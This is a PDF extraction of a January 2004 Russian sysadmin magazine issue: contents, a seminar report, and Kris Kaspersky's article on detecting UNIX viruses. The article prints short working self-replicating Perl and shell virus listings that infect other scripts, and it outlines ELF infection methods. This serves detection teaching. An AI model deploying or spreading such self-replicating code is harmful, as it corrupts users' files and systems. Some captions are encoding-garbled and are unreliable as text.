014 Системный Администратор 01 2004 by Vladimir Gromadin

№1(14) январь 2004 подписной индекс 81655 журнал для cистемных администраторов, вебмастеров и программистов

Вирусы в UNIX, или Гибель «Титаника» II Безопасность беспроводных сетей Защита от хакерских атак с помощью ipfw Как бороться с rootkits RSBAC для Linux Active Directory – теория построения

№1(14) январь 2004

Эффективная работа с портами в FreeBSD Безопасность услуг хостинга

оглавление КАЛЕНДАРЬ СОБЫТИЙ

Безумный чертенок

Итоги SYSM.02

Александр Байрак x01mer@pisem.net

БЕЗОПАСНОСТЬ Вирусы в UNIX, или Гибель «Титаника» II Крис Касперски kk@sendmail.ru

Что такое rootkits, и как с ними бороться Современный вариант троянского коня: набор утилит rootkits. Как защититься?

Методы атак на беспроводные сети. Рекомендации по обеспечению безопасности.

Сам себе антихакер. Защита от хакерских атак с помощью ipfw Методы сбора доступной информации об объекте нападения и способы защиты от них с помощью пакетного фильтра ipfw. Сергей Супрунов amsand@rambler.ru

Почтовый сервер с защитой от спама и вирусов на основе FreeBSD Геннадий Дмитриев stranger03@mail.ru

Дмитрий Ржавин d.rzhavin@rtcomm.ru Рафаэль Шарафутдинов rafael@soft-tronik.ru

ProxyInspector – инструмент контроля за расходованием интернет-трафика Андрей Бешков tigrisha@sysadmins.ru

38 ПРОГРАММИРОВАНИЕ

Безопасность услуг хостинга Максим Костышин Maxim_kostyshin@mail.ru

Владимир Осинцев oc@nm.ru

Безопасный удаленный доступ к консолям оборудования

Безопасность беспроводных сетей

Виктор Игнатьев n4vy@nm.ru

Эффективная работа с портами в FreeBSD

Способы обнаружения вирусов. Средства защиты.

Сергей Яремчук grinder@ua.fm

Знакомство с Frenzy – портативным инструментом системного администратора на базе ОС FreeBSD.

«Убиваем» зомби 46

Как писать программы без зомби. Андрей Уваров dashin@ua.fm

АДМИНИСТРИРОВАНИЕ ОБРАЗОВАНИЕ

Rule Set Based Access Control для Linux Обзор проекта RSBAC, решающего проблему разграничения доступа пользователей. Сергей Яремчук grinder@ua.fm

№1(14), январь 2004

Active Directory – теория построения Иван Коробко ikorobko@prosv.ru

календарь событий

ИТОГИ SYSM.02 20 декабря 2003 года портал SysAdmins.RU при информационной поддержке журнала «Системный администратор» и журнала «UPGRADE» провел второй Семинар системных администраторов и инженеров, SYSM.02, в рамках которого, помимо основной программы, состоялось учредительное собрание Профсоюза специалистов в области информационных технологий. Более 160 человек собрались из разных городов России и СНГ, чтобы принять участие в Семинаре. Безусловно, SYSM.02 удался, организаторы Семинара создали дружественную и позитивную атмосферу, благоприятную для общения, обмена опытом, знаниями и идеями. В первой части Семинара было представлено четыре обширных информационных доклада. В перерывах между выступлениями продолжались дискуссии. Участники Семинара – Дмитрий Головин и Алексей Костромин делятся своими впечатлениями и дают краткий обзор каждого выступления:

Ìèõàèë Òîð÷èíñêèé, ôîòî Àëåêñåÿ Êîñòðîìèíà

половому, национальному и прочим признакам, положение на рынке труда в целом – острые и актуальные темы для сферы IT. После окончания доклада, который, по сути, прошел как диалог с залом, Михаила Торчинского еще долго не отпускали, и некоторые наши коллеги пожертвовали обедом ради интересного и живого общения с ним. Выступление Игоря Ляпунова состояло из двух частей: первая – о возможных путях построения безопасности в локальной сети для начинающих системных администраторов. Вторая часть выступления «Решения NetScreen: архитектура, применение, администрирование, перспективы» носила скорее рекламный характер.

Àíäðåé Áåøêîâ, ôîòî Àëåêñåÿ Êîñòðîìèíà

«Тема, которую Андрей Бешков поднял в своем докладе «Virtual computing. Полигон для кроссплатформенной разработки, моделирования и тестирования моделей локальных сетей и серверных комплексов перед внедрением» была интересна большому числу IT-специалистов: как системным администраторам, так и разработчикам. Специалисты более подробно ознакомились с возможностями программного обеспечения VMWare, Андрей Бешков на примерах показал, как при помощи данного ПО на одном компьютере организовать маленькую работающую локальную сеть (с маршрутизаторами, шлюзами, разными подсетями и прочим оборудованием, которое необходимо для полноценной работы). Следующим был доклад Михаила Торчинского «Обзорный анализ основных направлений развития карьеры ITспециалиста в России». Его выступление, пожалуй, можно отнести к одному из ключевых, за короткий промежуток времени были обсуждены вопросы, связанные с трудоустройством, оплатой труда, переменой места работы, дискриминацией по

Èãîðü Ëÿïóíîâ, ôîòî Àëåêñàíäðà Íåì÷åíêî

Наконец, доклад «Новые технологии конфигурирования для систем ALT Linux. Архитектура, возможности, перспективы» Олега Власенко был обзорным, более детально тема будет раскрыта на специализированном семинаре, который будет проводить компания ALTLinux в феврале 2004 года».

календарь событий

Îëåã Âëàñåíêî, ôîòî Àëåêñåÿ Êîñòðîìèíà

профсоюза, привлечение региональных компаний IT-рынка к реализации программ профсоюза в регионах. По всем пунктам, представленным в программе, есть договорённости с компаниями, которые сотрудничают с профсоюзом. По социальному направлению разработана программа страхования: каждый член профсоюза с февраля 2004 года будет застрахован от несчастных случаев, которые могут повлечь за собой потерю трудоспособности. Всероссийское молодежное аэрокосмическое общество «Союз» предоставляет бесплатные путёвки для детей членов профсоюза в детские лагеря отдыха. Основная идея учебного направления – предоставить члену профсоюза возможность получить специальные знания и навыки, которые помогут ему успешно спланировать свою карьеру. Программа профсоюза весьма обширна, здесь представлена только малая толика того, что запланировано.

Во второй части Семинара состоялось учредительное собрание Профсоюза специалистов в области информационных технологий. Подробности – в пресс-релизе, подготовленным Марией Антоновой: «Профсоюз представляет собой объединение системных и сетевых администраторов, программистов, веб-мастеров, контент-редакторов, технических писателей, специалистов в области информационной безопасности, ITменеджеров, IT-аналитиков, руководителей IT-департаментов и всех тех, кто работает в сфере информационных технологий. Это объединение имеет все шансы стать действенным инструментом защиты прав своих членов. Более 100 участников Семинара стали первыми членами профсоюза. Состоялось собрание, на котором в результате голосования было избрано Правление и утверждена предложенная Программа работы профсоюза на 2004 год. Àëåêñåé Ëèïîâöåâ, îðãàíèçàòîð SYSM.02, ôîòî Àëåêñàíäðà Íåì÷åíêî

По словам Алексея Липовцева, Председателя Правления профсоюза: «Начало положено, и довольно успешно. В планах – развивать профсоюз в 2004 году, разрабатывать и реализовывать программы обучения, трудоустройства и поддержки членов профсоюза, развивать социальное направление работы.» Более подробную информацию о деятельности профсоюза IT-специалистов вы можете найти на официальном сайте http://ITCU.ru».

Îáñóæäåíèå ïðîãðàììû ïðîôñîþçà, ôîòî Àëåêñåÿ Ôîìèíà

В состав Правления вошла группа учредителей Профсоюза, которая занималась претворением в жизнь этого проекта. Учредителями был проделан огромный труд: проведена разработка Устава профсоюза, Программы работы профсоюза на 2004 год, заключение договоренностей о сотрудничестве с различными компаниями и организациями, оформление соответствующих юридических документов. Программа работы профсоюза на 2004 год охватывает юридическое, социальное, трудовое и учебное направления, а также предусматривает создание первичных профсоюзных организаций и региональных отделений

№1(14), январь 2004

Ïåòð Áî÷àðîâ, îðãàíèçàòîð SYSM.02, ôîòî Àëåêñàíäðà Íåì÷åíêî

безопасность

ВИРУСЫ В UNIX, ИЛИ ГИБЕЛЬ «ТИТАНИКА» II Ночью 14 апреля 1912 года принадлежавший Британии непотопляемый океанский лайнер «Титаник» столкнулся с айсбергом и утонул, унеся с собой жизни более пятнадцати сотен из двух тысяч двухсот пассажиров… Поскольку «Титаник» был непотопляем, на нем не хватило спасательных шлюпок. Джозеф Хеллер «Вообрази себе картину»

Считается, что в UNIX-системах вирусы не живут – они там дохнут. Отчасти это действительно так, однако не стоит путать принципиальную невозможность создания вирусов с их отсутствием как таковых. В действительности же UNIX-вирусы существуют, и на настоящий момент (начало 2004 года) их популяция насчитывает более двух десятков. Немного? Не торопитесь с выводами. «Дефицит» UNIXвирусов носит субъективный, а не объективный характер. Просто в силу меньшей распространенности UNIX-подобных операционных систем и специфики их направленности в этом мире практически не встречается даунов и вандалов. Степень защищенности операционной системы тут не при чем. Надеяться, что UNIX справится с вирусами и сама, несколько наивно и, чтобы не разделить судьбу «Титаника», держите защитные средства всегда под рукой, тщательно проверяя каждый запускаемый файл на предмет наличия заразы. О том, как это сделать, и рассказывает настоящая статья.

КРИС КАСПЕРСКИ 6

безопасность Исторически сложилось так, что первым нашумевшим вирусом стал Червь Морриса, запущенный им в Сеть 2 ноября 1988 года и поражающий компьютеры, оснащенные 4 BSD UNIX. Задолго до этого, в ноябре 1983 г., доктор Фредерик Коэн (Dr. Frederick Cohen) доказал возможность существования саморазмножающихся программ в защищенных операционных системах, продемонстрировав несколько практических реализаций для компьютеров типа VAX, управляемых операционной системой UNIX. Считается, что именно он впервые употребил термин «вирус». На самом деле между этими двумя событиями нет ничего общего. Вирус Морриса распространялся через дыры в стандартном программном обеспечении (которые, кстати говоря, долгое время оставались незакрытыми), в то время как Коэн рассматривал проблему саморазмножающихся программ в идеализированной операционной системе без каких-либо дефектов в системе безопасности. Наличие дыр просто увеличило масштабы эпидемии и сделало размножение вируса практически неконтролируемым. А теперь перенесемся в наши дни. Популярность UNIXподобных систем стремительно растет и интерес к ним со стороны вирусописателей все увеличивается. Квалификация системных администраторов (пользователей персональных компьютеров и рабочих станций), напротив, неуклонно падает. Все это создает благоприятную среду для воспроизводства и размножения вирусов, и процесс их разработки в любой момент может принять лавинообразный характер, – стоит только соответствующим технологиям попасть в массы. Готово ли UNIX-сообщество противостоять этому? Нет! Судя по духу, витающему в телеконференциях, и общему настроению администраторов, UNIX считается непотопляемой системой, и вирусная угроза воспринимается крайне скептически. Между тем, качество тестирования программного обеспечения (неважно, распространяемого в открытых исходных текстах или нет) достаточно невелико и, по меткому выражению одного из хакеров, один-единственный SendMail содержит больше дыр, чем все Windows-приложения вместе взятые. Большое количество различных дистрибутивов UNIX-систем многократно снижает влияние каждой конкретной дырки, ограничивая ареал обитания вирусов сравнительно небольшим количеством машин, однако в условиях всеобщей глобализации и высокоскоростных интернет-каналов даже чрезвычайно избирательный вирус способен поразить тысячи компьютеров за считанные дни или даже часы! Распространению вирусов невероятно способствует тот факт, что в подавляющем большинстве случаев система конфигурируется с довольно демократичным уровнем доступа. Иногда это происходит по незнанию и/или небрежности системных администраторов, иногда по «производственной» необходимости. Если на машине постоянно обновляется большое количество программного обеспечения (в том числе и создаваемого собственными силами), привилегии на модификацию исполняемых файлов становятся просто необходимы, в противном случае процесс общения с компьютером из радости рискует превратиться в мучение.

№1(14), январь 2004

Что бы там ни говорили фанатики UNIX, но вирусы размножаются и на этой платформе. Отмахиваться от этой проблемы означает уподобиться страусу. Вы хотите быть страусами? Я думаю – нет!

Условия, необходимые для функционирования вирусов Памятуя о том, что общепринятого определения «компьютерных вирусов» не существует, условимся обозначать этим термином все программы, способные к скрытому размножению. Последнее может быть как самостоятельным (поражение происходит без каких-либо действий со стороны пользователя: достаточно просто войти в сеть), так и нет (вирус пробуждается только после запуска инфицированной программы). Сформулируем минимум требований, «предъявляемых» саморазмножающимися программами к окружающей среде (кстати, почему бы окружающую среду не назвать окружающим четвергом?): ! в операционной системе имеются исполняемые объекты; ! эти объекты возможно модифицировать и/или создавать новые; ! происходит обмен исполняемыми объектами между различными ареалами обитания. Под «исполняемым объектом» здесь понимается некоторая абстрактная сущность, способная управлять поведением компьютера по своему усмотрению. Конечно, это не самое удачное определение, но всякая попытка конкретизации неизбежно оборачивается потерей значимости. Например, текстовый файл в формате ASCII интерпретируется вполне определенным образом и на первый взгляд средой обитания вируса быть никак не может. Однако, если текстовой процессор содержит ошибку типа «buffer overfull», существует вполне реальная возможность внедрения в файл машинного кода с последующей передачей на него управления. А это значит, что мы не можем априори утверждать, какой объект исполняемый, а какой нет. В плане возвращения с небес теоретической экзотики на грешну землю обетованну, ограничим круг своих интересов тремя основными типами исполняемых объектов: дисковыми файлами, оперативной памятью и загрузочными секторами. Процесс размножения вирусов в общем случае сводится к модификации исполняемых объектов с таким расчетом, чтобы хоть однажды в жизни получить управление. Операционные системы семейства UNIX по умолчанию запрещают пользователям модифицировать исполняемые файлы, предоставляя эту привилегию лишь root. Это чрезвычайно затрудняет размножение вирусов, но отнюдь не делает его невозможным! Во-первых, далеко не все пользователи UNIX осознают опасность регистрации с правами root, злоупотребляя ей безо всякой необходимости. Во-вторых, некоторые приложения только под root и работают, причем создать виртуального пользователя, изолированного от всех остальных файлов системы, в некоторых случаях просто не получается. В-треть-

безопасность их, наличие дыр в программном обеспечении позволяет вирусу действовать в обход установленных ограничений. Тем более, что помимо собственно самих исполняемых файлов в UNIX-системах имеются и чрезвычайно широко используются интерпретируемые файлы (далее по тексту просто скрипты). Причем, если в мире Windows командные файлы играют сугубо вспомогательную роль, то всякий уважающий себя UNIX-пользователь любое мало-мальски часто выполняемое действие загоняет в отдельный скрипт, после чего забывает о нем напрочь. На скриптах держится не только командная строка, но и программы генерации отчетов, интерактивные веб-странички, многочисленные управленческие приложения и т. д. Модификация файлов скриптов, как правило, не требует никаких особенных прав, и потому они оказываются вполне перспективной кандидатурой для заражения. Также вирусы могут поражать и исходные тексты программ, и исходные тексты операционной системы, с компилятором в том числе (их модификация в большинстве случаев разрешена). Черви могут вообще подолгу не задерживаться в одном компьютере, используя его лишь как временное пристанище для рассылки своего тела на другие машины. Однако большинство червей все же предпочитают оседлый образ жизни кочевому, внедрясь в оперативную и/или долговременную память. Для своего размножения черви обычно используют дефекты операционной системы и/или ее окружения, обеспечивающие возможность удаленного выполнения программного кода. Ряд вирусов распространяется через прикрепленные к письму файлы (в курилках именуемые аттачами от английского attachment – вложение) в надежде, что доверчивый пользователь запустит их. К счастью, UNIX-пользователи в своей массе не настолько глупы, чтобы польститься на столь очевидную заразу. Откровенно говоря, причина низкой активности вирусов кроется отнюдь не в защищенности UNIX, но в принятой схеме распространения программного обеспечения. Обмена исполняемыми файлами между пользователями UNIX практически не происходит. Вместо этого они предпочитают скачивать требующиеся им программы с оригинального источника, зачастую в исходных текстах. Несмотря на имеющиеся прецеденты взлома web/ftp-серверов и троянизации их содержимого, ни одной мало-мальски внушительной эпидемии еще не случилось, хотя локальные очаги «возгорания» все-таки были. Агрессивная политика продвижения LINUX вероломно проталкивает эту ОС на рынок домашних и офисных ПК, т.е. в те сферы, где UNIX не только не сильна, но и попросту не нужна. Оказавшись в кругу неквалифицированных пользователей, UNIX автоматически потеряет звание свободной от вирусов системы, и опустошительные эпидемии не заставят себя ждать. Встретим мы их во всеоружии или в очередной раз дадим маху, вот в чем вопрос…

Вирусы в скриптах Как уже отмечалось выше, скрипты выглядят достаточно привлекательной средой для обитания вирусов, и вот почему:

! в мире UNIX скрипты вездесущи; ! модификация большинства файлов скриптов разрешена;

! скрипты зачастую состоят из сотен строк кода, в которых очень легко затеряться;

! скрипты наиболее абстрагированы от особенностей реализации конкретного UNIX;

! возможности скриптов сопоставимы с языками высокого уровня (Си, Бейсик, Паскаль);

! скриптами пользователи обмениваются более интенсивно, чем исполняемыми файлами. Большинство администраторов крайне пренебрежительно относятся к скриптовым вирусам, считая их «ненастоящими». Между тем, системе по большому счету все равно, каким именно вирусом быть атакованной – настоящим или нет. При кажущейся игрушечности скрипт-вирусы представляют собой достаточно серьезную угрозу. Ареал их обитания практически безграничен – они успешно поражают как компьютеры с процессорами Intel Pentium, так и DEC Alpha/SUN SPARС. Они внедряются в любое возможное место (конец/начало/середину) заражаемого файла. При желании они могут оставаться резидентно в памяти, поражая файлы в фоновом режиме. Ряд скрипт-вирусов используют те или иные Stealth-технологии, скрывая факт своего присутствия в системе. Гений инженерной мысли вирусописателей уже освоил полиморфизм, уравняв тем самым скрипт-вирусы в правах с вирусами, поражающими двоичные файлы. Каждый скрипт, полученный извне, перед установкой в систему должен быть тщательным образом проанализирован на предмет присутствия заразы. Ситуация усугубляется тем, что скрипты, в отличие от двоичных файлов, представляют собой plain-текст, начисто лишенный внутренней структуры, а потому при его заражении никаких характерных изменений не происходит. Единственное, что вирус не может подделать – это стиль оформления листинга. Почерк каждого программиста строго индивидуален. Одни используют табуляцию, другие предпочитают выравнивать строки посредством пробелов. Одни разворачивают конструкции if – else на весь экран, другие умещают их в одну строку. Одни дают всем переменным осмысленные имена, другие используют одно-двух символьную абракадабру в стиле «A», «X», «FN» и т. д. Даже беглый просмотр зараженного файла позволяет обнаружить инородные вставки (конечно, при том условии, что вирус не переформатирует поражаемый объект). Ëèñòèíã 1. Ïðèìåð âèðóñà, îáíàðóæèâàþùåãî ñåáÿ ïî ñòèëþ #!/usr/bin/perl #PerlDemo open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File); foreach $FileName (<*>) { if ((-r $FileName) ↵ && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); ↵ if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { ↵ open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); } } } }

Дальше. Грамотно спроектированный вирус поражает только файлы «своего» типа, в противном случае он

безопасность быстро приведет систему к краху, демаскируя себя и парализуя дальнейшее распространение. Поскольку в мире UNIX-файлам не принято давать расширения, задача поиска подходящих жертв существенно осложняется, и вирусу приходится явно перебирать все файлы один за одним, определяя их тип вручную. Существуют по меньшей мере две методики такого определения: отождествление командного интерпретатора и эвристический анализ. Начнем с первого из них. Если в начале файла стоит магическая последовательность «#!», то остаток строки содержит путь к программе, обрабатывающей данный скрипт. Для интерпретатора Борна эта строка обычно имеет вид «#!/bin/sh», а для Perl – «#!/usr/ bin/perl». Таким образом, задача определения типа файла в общем случае сводится к чтению его первой строки и сравнению ее с одним или несколькими эталонами. Если только вирус не использовал хеш-сравнение, эталонные строки будут явно присутствовать в зараженном файле, легко обнаруживая себя тривиальным контекстным поиском (см. листинги 2, 3). Девять из десяти скрипт-вирусов ловятся на этот незамысловатый прием, остальные же тщательно скрывают эталонные строки от посторонних глаз (например, шифруют их или же используют посимвольное сравнение). Однако в любом случае перед сравнением строки с эталоном вирус должен ее считать. В командных файлах для этой цели обычно используются команды greep или head. Конечно, их наличие в файле еще не свидетельствует о зараженности последнего, однако позволяет локализовать жизненно важные центры вируса, ответственные за определения типа файла, что значительно ускоряет его анализ. В Perl-скриптах чтение файла чаще всего осуществляется через оператор «< >», реже используются функции read/readline/getc. Тот факт, что практически ни одна мало-мальски серьезная Perlпрограмма не обходится без файлового ввода/вывода, чрезвычайно затрудняет выявление вирусного кода, особенно если чтение файла происходит в одной ветке программы, а определение его типа – совсем в другой. Это затрудняет автоматизированный анализ, но еще не делает его невозможным! Эвристические алгоритмы поиска жертвы состоят в выделении уникальных последовательностей, присущих файлам данного типа и не встречающихся ни в каких других. Так, наличие последовательности «if [» с вероятностью близкой к единице указывает на командный скрипт. Некоторые вирусы отождествляют командные файлы по строке «Bourne», которая присутствует в некоторых, хотя и далеко не всех скриптах. Естественно, никаких универсальных приемов распознавания эвристических алгоритмов не существует (на то они и эвристические алгоритмы). Во избежание многократного инфицирования файланосителя вирусы должны уметь распознавать факт своего присутствия в нем. Наиболее очевидный (и популярный!) алгоритм сводится к внедрению специальной ключевой метки (вроде «это я – Вася»), представляющей собой уникальную последовательность команд, так сказать, сигнатуру вируса или же просто замысловатый коммен-

№1(14), январь 2004

тарий. Строго говоря, гарантированная уникальность вирусам совершенно не нужна. Достаточно, чтобы ключевая метка отсутствовала более чем в половине неинфицированных файлов. Поиск ключевой метки может осуществляться как командами find/greep, так и построчечным чтением из файла с последующим сравнением добытых строк с эталоном. Скрипты командных интерпретаторов используют для этой цели команды head и tail, применяемые совместно с оператором «=», ну а Perl-вирусы все больше тяготеют к регулярным выражениям, что существенно затрудняет их выявление, т.к. без регулярных выражений не обходится практически ни одна Perlпрограмма. Другой возможной зацепкой является переменная «$0», используемая вирусами для определения собственного имени. Не секрет, что интерпретируемые языки программирования не имеют никакого представления о том, каким именно образом скрипты размещаются в памяти, и при всем желании не могут «дотянуться» до них. А раз так, то единственным способом репродуцирования своего тела остается чтение исходного файла, имя которого передается в нулевом аргументе командной строки. Это достаточно характерный признак заражения исследуемого файла, ибо существует очень немного причин, по которым программа может интересоваться своим названием и путем. Впрочем, существует (по крайней мере теоретически) и альтернативный способ размножения. Он работает по тем же принципам, что и программа, распечатывающая сама себя (в былое время без этой задачки не обходилась ни одна олимпиада по информатике). Решение сводится к формированию переменной, содержащей программный код вируса, с последующим внедрением оного в заражаемый файл. В простейшем случае для этого используется конструкция «<<», позволяющая скрыть факт внедрения программного кода в текстовую переменную (и это выгодно отличает Perl от Си). Построчная генерация кода в стиле «@Virus[0]= “\#\!\/usr\/bin\/perl”» встречается реже, т.к. слишком громоздко, непрактично и к тому же наглядно (в смысле даже при беглом просмотре листинга выдает вирус с головой). Зашифрованные вирусы распознаются еще проще. Наиболее примитивные экземпляры содержат большое количество «шумящих» двоичных последовательностей типа «\x73\xFF\x33\x69\x02\x11…», чьим флагманом является спецификатор «\x», за которым следует ASCII-код зашифрованного символа. Более совершенные вирусы используют те или иные разновидности UUE-кодирования, благодаря чему все зашифрованные строки выглядят вполне читабельно, хотя и представляют собой бессмысленную абракадабру вроде «UsKL[aS4iJk». Учитывая, что среднеминимальная длина Perl-вирусов составляет порядка 500 байт, затеряться в теле жертвы им легко. Теперь рассмотрим пути внедрения вируса в файл. Файлы командного интерпретатора и программы, написанные на языке Perl, представляют собой неиерархическую последовательность команд, при необходимости включающую в себя определения функций. Здесь нет ничего, хотя бы отдаленно похожего на функцию main язы-

безопасность ка Си или блок BEGIN/END языка Паскаль. Вирусный код, тупо дописанный в конец файла, с вероятностью 90% успешно получит управление и будет корректно работать. Оставшиеся 10% приходятся на случаи преждевременного выхода из программы по exit или ее принудительного завершения по <Ctrl-C>. Для копирования своего тела из конца одного файла в конец другого вирусы обычно используют команду «tail», вызывая ее приблизительно так: Ëèñòèíã 2. Ôðàãìåíò âèðóñà UNIX.Tail.a, äîïèñûâàþùåãî ñåáÿ â êîíåö ôàéëà (îðèãèíàëüíûå ñòðîêè ôàéëà-æåðòâû âûäåëåíû ñèíèì) #!/bin/sh echo "Hello, World!" for F in * do if ["$(head -c9 $F 2>/dev/null)"="#!/bin/sh" ↵ -a "$(tail -1 $F 2>/dev/null)"!="#:-P"] then tail -8 $0 >> $F 2>/dev/null fi done

Другие вирусы внедряются в начало файла, перехватывая все управление на себя. Некоторые из них содержат забавную ошибку, приводящую к дублированию строки «!#/bin/xxx», первая из которых принадлежит вирусу, а вторая – самой зараженной программе. Наличие двух магических последовательностей «!#» в анализируемом файле красноречиво свидетельствует о его заражении, однако подавляющее большинство вирусов обрабатывает эту ситуацию вполне корректно, копируя свое тело не с первой, а со второй строки. Типичный пример такого вируса приведен ниже:

бой тщательностью, не забывая о том, что вирус может содержать некоторое количество «отвлекающих» команд, имитирующих ту или иную работу. Встречаются и вирусы-спутники, вообще не «дотрагивающиеся» до оригинальных файлов, но во множестве создающие их «двойников» в остальных каталогах. Поклонники чистой командной строки, просматривающие содержимое директорий через ls могут этого и не заметить, т.к. команда ls вполне может иметь «двойника», предусмотрительно убирающего свое имя из списка отображаемых файлов. Не стоит забывать и о том, что создателям вирусов не чуждо элементарное чувство беспечности, и откровенные наименования процедур и/или переменных в стиле «Infected», «Virus», «ZARAZA» – отнюдь не редкость. Иногда вирусам (особенно полиморфным и зашифрованным) требуется поместить часть программного кода во временный файл, полностью или частично передав ему бразды правления. Тогда в теле скрипта появляется команда «chmod +x», присваивающая файлу атрибут исполняемого. Впрочем, не стоит ожидать, что автор вируса окажется столь ленив и наивен, что не предпримет никаких усилий для сокрытия своих намерений. Скорее всего нам встретится что-то вроде: «chmod $attr $FileName». Òàáëèöà 1. Ñâîäíàÿ òàáëèöà íàèáîëåå õàðàêòåðíûõ ïðèçíàêîâ íàëè÷èÿ âèðóñà ñ êðàòêèìè êîììåíòàðèÿìè (ïîäðîáíîñòè ïî òåêñòó)

Ëèñòèíã 3. Ôðàãìåíò âèðóñà UNIX.Head.b, âíåäðÿþùåãîñÿ â íà÷àëî ôàéëà (îðèãèíàëüíûå ñòðîêè ôàéëà-æåðòâû âûäåëåíû ñèíèì) #!/bin/sh for F in * do if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then head -11 $0 > tmp cat $F >> tmp mv tmp $F fi done echo "Hello, World!"

Некоторые, весьма немногочисленные вирусы внедряются в середину файла, иногда перемешиваясь с его оригинальным содержимым. Естественно, для того чтобы процесс репродуцирования не прекратился, вирус должен каким-либо образом помечать «свои» строки (например, снабжать их комментарием «#MY LINE») либо же внедряться в фиксированные строки (например, начиная с тринадцатой строки, каждая нечетная строка файла содержит тело вируса). Первый алгоритм слишком нагляден, второй – слишком нежизнеспособен (часть вируса может попасть в одну функцию, а часть – совсем в другую), поэтому останавливаться на этих вирусах мы не будем. Таким образом, наиболее вирусоопасными являются начало и конец всякого файла. Их следует изучать с осо-

Ëèñòèíã 4. Ôðàãìåíò Perl-âèðóñà UNIX.Demo #!/usr/bin/perl #PerlDemo open(File,$0); @Virus=<File>; @Virus=@Virus[0...27]; close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); } } } }

безопасность Эльфы в заповедном лесу За всю историю существования UNIX было предложено множество форматов двоичных исполняемых файлов, однако к настоящему моменту в более или менее употребляемом виде сохранились лишь три из них: a.out, COFF и ELF. Формат a.out (Assembler and link editor OUTput files) – самый простой и наиболее древний из трех перечисленных, появившийся еще во времена господства PDP-11 и VAX. Он состоит из трех сегментов: .text (сегмент кода), .data (сегмент инициализированных данных) и .bss (сегмент неинициализированных данных), двух таблиц перемещаемых элементов (по одной для сегментов кода и данных), таблицы символов, содержащей адреса экспортируемых/импортируемых функций, и таблицы строк, содержащей имена последних. К настоящему моменту формат a.out считается устаревшим и практически не используется. Краткое, но вполне достаточное для его освоения руководство содержится в man Free BSD. Также рекомендуется изучить включаемый файл a.out.h, входящий в комплект поставки любого UNIX-компилятора. Формат COFF (Common Object File Format) – прямой наследник a.out – представляет собой существенно усовершенствованную и доработанную версию последнего. В нем появилось множество новых секций, изменился формат заголовка (и в том числе появилось поле длины, позволяющее вирусу вклиниваться между заголовком и первой секцией файла), все секции получили возможность проецироваться по любому адресу виртуальной памяти (для вирусов, внедряющихся в начало и/или середину файла, это актуально) и т. д. Формат COFF широко распространен в мире Windows NT (PE-файлы представляют собой слегка модифицированный COFF), но в современных UNIX-системах он практически не используется, отдавая дань предпочтения формату ELF. Формат ELF (Executable and Linkable Format, хотя не исключено, что формат сначала получил благозвучное название, под которое потом подбиралась соответствующая аббревиатура – среди UNIX-разработчиков всегда было много толкиенистов) очень похож на COFF и фактически является его разновидностью, спроектированной для обеспечения совместимости с 32- и 64-разрядными архитектурами. В настоящее время – это основной формат исполняемых файлов в системах семейства UNIX. Не то чтобы он всех сильно устраивал (та же FreeBSD сопротивлялась нашествию Эльфов, как могла, но в версии 3.0 была вынуждена объявить ELF-формат как формат, используемый по умолчанию, поскольку последние версии популярного компилятора GNU C древних форматов уже не поддерживают), но ELF – это общепризнанный стандарт, с которым приходится считаться, хотим ли мы того или нет. Поэтому в настоящей статье речь главным образом пойдет о нем. Для эффективной борьбы с вирусами вы должны изучить ELF-формат во всех подробностях. Вот два хороших руководства на эту тему: http:// www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/ Nov-06-1994/GCC/ELF.doc.tar.gz («Executable and Linkable Format – Portable Format Specification») и http://www.nai.com/

№1(14), январь 2004

common/media/vil/pdf/mvanvoers_VB_conf%202000.pdf («Linux Viruses – ELF File Format»). Не секрет, что у операционных систем Windows NT и UNIX много общего, и механизм заражения ELF/COFF/ a.out файлов с высоты птичьего полета ничем не отличается от заражения форматов семейства NewExe. Тем не менее, при всем поверхностном сходстве между ними есть и различия. Существует по меньшей мере три принципиально различных способа заражения файлов, распространяемых в формате a.out: ! «поглощение» оригинального файла с последующей его записью в tmp и удалением после завершения выполнения (или – «ручная» загрузка файла-жертвы как вариант); ! расширение последней секции файла и дозапись своего тела в ее конец; ! сжатие части оригинального файла и внедрение своего тела на освободившееся место. Переход на файлы формата ELF или COFF добавляет еще четыре: ! расширение кодовой секции файла и внедрение своего тела на освободившееся место; ! сдвиг кодовой секции вниз с последующей записью своего тела в ее начало; ! создание своей собственной секции в начале, середине или конце файла; ! внедрение между файлом и заголовком. Внедрившись в файл, вирус должен перехватить на себя управление, что обычно осуществляется следующими путями: ! созданием собственного заголовка и собственного сегмента кода/данных, перекрывающего уже существующий; ! коррекцией точки входа в заголовке файла-жертвы; ! внедрением в исполняемый код файла-жертвы команды перехода на свое тело; ! модификацией таблицы импорта (в терминологии a.out – таблицы символов) для подмены функций, что особенно актуально для Stealth-вирусов. Всем этим махинациям (кроме приема с «поглощением») очень трудно остаться незамеченными, и факт заражения в подавляющем большинстве случаев удается определить простым визуальным просмотром дизассемблерного листинга анализируемого файла. Подробнее об этом мы поговорим чуточку позже, а пока обратим свое внимание на механизмы системных вызовов, используемые вирусами для обеспечения минимально необходимого уровня жизнедеятельности. Для нормального функционирования вирусу необходимы по меньшей мере четыре основных функции для работы с файлами (как то: открытие/закрытие/чтение/запись файла) и опционально функция поиска файлов на диске/сети. В противном случае вирус просто не сможет реализовать свои репродуктивные возможности, и это уже не вирус получится, а Троянский Конь!

